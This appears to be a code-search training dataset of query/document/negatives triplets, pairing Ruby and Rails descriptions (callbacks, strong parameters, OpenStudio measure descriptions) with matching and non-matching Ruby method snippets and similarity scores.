Use callbacks to share common setup or constraints between actions. | def set_gestor_area
@gestor_area = GestorArea.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Only allow a trusted parameter "white list" through. | def gestor_area_params
params.require(:gestor_area).permit(:area_id, :pessoa_id, :data_inicio, :data_termino, :ativo)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def allowed_params\n ALLOWED_PARAMS\n end",
"def expected_permitted_parameter_names; end",
"def param_whitelist\n [:role, :title]\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def permitted_params\n []\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def filtered_parameters; end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def valid_params?; end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def permitted_params\n declared(params, include_missing: false)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def filter_parameters; end",
"def filter_parameters; end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def check_params; true; end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def list_params\n params.permit(:name)\n end",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params\n true\n end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def additional_permitted_params\n []\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end",
"def allow_params_authentication!; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end",
"def quote_params\n params.permit!\n end",
"def list_params\n params.permit(:list_name)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def all_params; end",
"def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"def source_params\n params.require(:source).permit(all_allowed_params)\n end",
"def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end",
"def user_params\n end",
"def permitted_params\n @wfd_edit_parameters\n end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def params; end",
"def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end",
"def user_params\r\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def params_permit\n params.permit(:id)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def filter_params\n params.permit(*resource_filter_permitted_params)\n end",
"def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend",
"def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end",
"def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def argument_params\n params.require(:argument).permit(:name)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end",
"def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end",
"def parameters\n nil\n end",
"def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end",
"def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end",
"def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end"
] | [
"0.71230334",
"0.70530915",
"0.69479465",
"0.6902122",
"0.67367256",
"0.67172784",
"0.6689043",
"0.66784793",
"0.6660117",
"0.6555213",
"0.6528485",
"0.6458438",
"0.6452378",
"0.6451654",
"0.64478326",
"0.6433326",
"0.6413599",
"0.6413599",
"0.63907677",
"0.63787645",
"0.63787645",
"0.6375229",
"0.63608277",
"0.635366",
"0.6283652",
"0.62798274",
"0.6245606",
"0.62283605",
"0.6224614",
"0.6223649",
"0.62118477",
"0.6207179",
"0.61780804",
"0.6173056",
"0.61674094",
"0.615996",
"0.6145132",
"0.613597",
"0.612235",
"0.6108622",
"0.6098955",
"0.60767287",
"0.6055062",
"0.60391796",
"0.60363555",
"0.6030472",
"0.6018476",
"0.60174584",
"0.60163116",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60159874",
"0.60052663",
"0.6003681",
"0.6001089",
"0.5996807",
"0.5994288",
"0.59942675",
"0.5984987",
"0.59827954",
"0.59777087",
"0.5975369",
"0.59706473",
"0.5966046",
"0.5965166",
"0.5965166",
"0.59577847",
"0.5952617",
"0.59503365",
"0.59480196",
"0.5943258",
"0.5931462",
"0.59299",
"0.5927073",
"0.5924737",
"0.5919184",
"0.5918459",
"0.591457",
"0.59142643",
"0.59062785",
"0.59054136",
"0.59047925",
"0.5902357",
"0.5900476",
"0.5898475",
"0.5898218",
"0.5895328"
] | 0.0 | -1 |
human readable description of modeling approach | def modeler_description
return "Example use case is adding special loads like an elevator to a model as part of an analysis workflow"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def modeler_description\n return 'Gather orientation and story specific construction, fenestration (including overhang) specific information'\n end",
"def modeler_description\n return 'Currently this is just setup for design level calculation method, but it could be extended as needed..'\n end",
"def modeler_description\n return 'shift or/and adjust heaing and cooling setpoint'\n end",
"def modeler_description\n return 'This model replaces the existing HVAC system with a VRF + DOAS system.'\n end",
"def modeler_description\n return \"This uses the OpenStudio::Model::Space::fromFloorPrint method, and is very much like the Create Spaaces From Diagram tool in the OpenStudio SketchUp plugin, but lets you draw teh diagram in the tool of your choice, and then imports it into the OpenStudio application via a measure.\"\n end",
"def modeler_description\n return 'This can be used in apply measure now, or can be used in a parametric workflow to load in any custom user profiles or floor/ceiling values.'\n end",
"def modeler_description\r\n return \"objective function\"\r\n end",
"def modeler_description\r\n return \"objective function\"\r\n end",
"def modeler_description\n return \"Any generators and electric load center distribution objects are removed. An electric load center distribution object is added with a track schedule equal to the hourly output from SAM. A micro turbine generator object is add to the electric load center distribution object. The fuel used to make the electricity is zeroed out.\"\n end",
"def modeler_description\r\n return \"For each model, find every DX cooling and heating coil and increase the COP to 6. Since very little information about this technology is available, do not change performance curves or upper/lower operating temperature limits.\"\r\n end",
"def modeler_description\n return 'Modify the cooling setpoint of the HVAC system during a DR event'\n end",
"def modeler_description\n return 'This a test measure in relation with https://github.com/NREL/OpenStudio/issues/4156'\n end",
"def modeler_description\n return \"When have existing OSM wanted to be able to grab geometry from model vs. trying to enter on website. This is useful when there is no built structures yet to use as reference on the website.\"\n end",
"def modeler_description\n return \"Grey water tank overflow will be dirrected to drainage. \"\n end",
"def modeler_description\n return \"NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.\"\n end",
"def modeler_description\n return 'HVAC system creation logic uses [openstudio-standards](https://github.com/NREL/openstudio-standards) and efficiency values are defined in the openstudio-standards Standards spreadsheet under the *NREL ZNE Ready 2017* template.'\n end",
"def description()\n\t\tself.namespaced_class(:ModelDescriptor).goal(self)\n\tend",
"def modeler_description\n 'NOTE: This will load and respond slowly in the OS app, especially if you select * on a variable with many possible keys or you select timestep data. Suggest you open it in a web browser like Chrome instead.'\n end",
"def modeler_description\n return 'Not sure how I will handle arguments. Maybe lump together all spaces on same sotry that have the same multilier value. This will have variable number of arguments basd on the model pased in. Alternative is to either only allo w one group to be chosen at at time, or allow a comlex string that describes everything. Also need to see how to define shirting. There is an offset but it may be above and below and may not be equal. In Some cases a mid floor is halfway betwen floors which makes just copying the base surfaces as shading multiple times probemeatic, since there is overlap. It coudl be nice to stretch one surface over many stories. If I check for vertial adn orthogonal surface that may work fine. '\n end",
"def modeler_description\n return \"It does not even send anything related to the model. It just sends a simple pagkage at the end of every run, just to test if things really work.\"\n end",
"def modeler_description\n return ['Adds', 'the', 'properties', 'for', 'the', 'MoisturePenetrationDepthConductionTransferFunction', 'or', 'effective', 'moisture', 'penetration', 'depth', '(EMPD)', 'Heat', 'Balance', 'Model', 'with', 'inputs', 'for', 'penetration', 'depths.', \"\\n\\n\", 'Leaving', 'Change', 'heat', 'balance', 'algorithm?', 'blank', 'will', 'use', 'the', 'current', 'OpenStudio', 'heat', 'balance', 'algorithm', 'setting.', \"\\n\\n\", 'At', 'least', '1', 'interior', 'material', 'needs', 'to', 'have', 'moisture', 'penetration', 'depth', 'properties', 'set', 'to', 'use', 'the', 'EMPD', 'heat', 'balance', 'algorithm.'].join(' ')\n end",
"def modeler_description\n return \"Change water heater efficiency and fuel type.\"\n end",
"def modeler_description\n return \"Assume that the starting point technology is primarily 90.1-2013 T8 lighting, with an efficacy of 90 lm/W. According to Table 5.2, LED Efficacy Improvement, in (1), 2015 LED luminaire efficacy is 145 lm/W. Calculate the total lighting power of the model and divide by this initial efficacy to determine the total number of lumens needed. Assuming that this same number of lumens should be provided by LED lighting, divide by the LED efficacy to determine the total wattage of LEDs that would be necessary to achieve the same lighting. Reduce the overall building lighting power by the resulting multiplier. IE new LPD = old LPD * (1 - 90 lm/W /145 lm/W). This is a very crude estimate of the impact of current LED technology. In order to perform a more nuanced analysis, lighting in the prototype buildings should be broken down by use type (general space lighting, task lighting, etc.) and by currently assumed technology (T12, T8, metal halide, etc.). If this breakdown were available, each type of lighting could be modified according to its own efficacy characteristics. Additionally, this measure does not account for the impact of LEDs on outdoor lighting.\"\n end",
"def modeler_description\n return 'For each model, find every DX cooling and heating coil and increase the COP to 6. Since very little information about this technology is available, do not change performance curves or upper/lower operating temperature limits.'\n end",
"def modeler_description\n return \"This measure will replicate the functionality described in the EnergyPlus Energy Management System Application Guide, Example 2., based on user input.\"\n end",
"def modeler_description\n return 'This measure assigns load and flow information to a selected plant loop load profile.'\n end",
"def modeler_description\n return \"This is intended to run on an empty model. It will create the proper model associate it with the proper weather file, and add in necessary output requests. Internally to the measure the test case argument will be mapped to the proper inputs needed to assemble the model. The measure will make some objects on the fly, other objects will be pulled from existing data resources. This measure creates cases described all of section 5.3.\"\n end",
"def modeler_description\n return \"Each DX cooling coil in the model is replaced by a membrane heat pump. To represent the membrane heat pump, the DX cooling coil COP is increased to 7.62 (26 EER). Additionally, add a water use equipment object to account for the 3 gallons of water used per ton*hr of sensible cooling process.\"\n end",
"def modeler_description\n 'For the most part consumption data comes from the tabular EnergyPlus results, however there are a few requests added for time series results. Space type and loop details come from the OpenStudio model. The code for this is modular, making it easy to use as a template for your own custom reports. The structure of the report uses bootstrap, and the graphs use dimple js.'\n end",
"def modeler_description\n return 'Adds typical refrigeration equipment to a building'\n end",
"def modeler_description\r\n return \"\"\r\n end",
"def modeler_description\n return \"E+ RESNET\"\n end",
"def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as warning messages in the measure's output on the PAT run tab.\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"\"\n end",
"def modeler_description\n return \"A measure that will take Annual Building Utilty Performance tables, Demand End use Components summary table, Source Energy End Use Components Summary and produce an output Json\"\n end",
"def modeler_description\n return \"Reads the model and sql file to pull out the necessary information and run the model checks. The check results show up as Warning messages in the measure's output on the PAT run tab.\"\n end",
"def modeler_description\n return 'The goal of this measure is to create a single space type that represents the loads and schedules of a collection of space types in a model. When possible the measure will create mulitple load instances of a specific type in the resulting blended space type. This allows the original schedules to be used, and can allow for down stream EE measures on specific internal loads. Design Ventilation Outdoor Air objects will have to be merged into a single object. Will try to maintain the load design type (power, per area, per person) when possible. Need to account for zone multipliers when createding blended internal loads. Also address what happens to daylighting control objets. Original space types will be left in the model, some may still be assigned to spaces not included in the building area.'\n end",
"def modeler_description\n 'It will be used for calibration maximum flow rate, efficiency, pressure rise and motor efficiency. User can choose between a SINGLE Fan or ALL the Fans.'\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return ''\n end",
"def modeler_description\n return 'This measure has optional arguments to apply recommendations from different sections of the Zero Energy Multifamily Design Guide.'\n end",
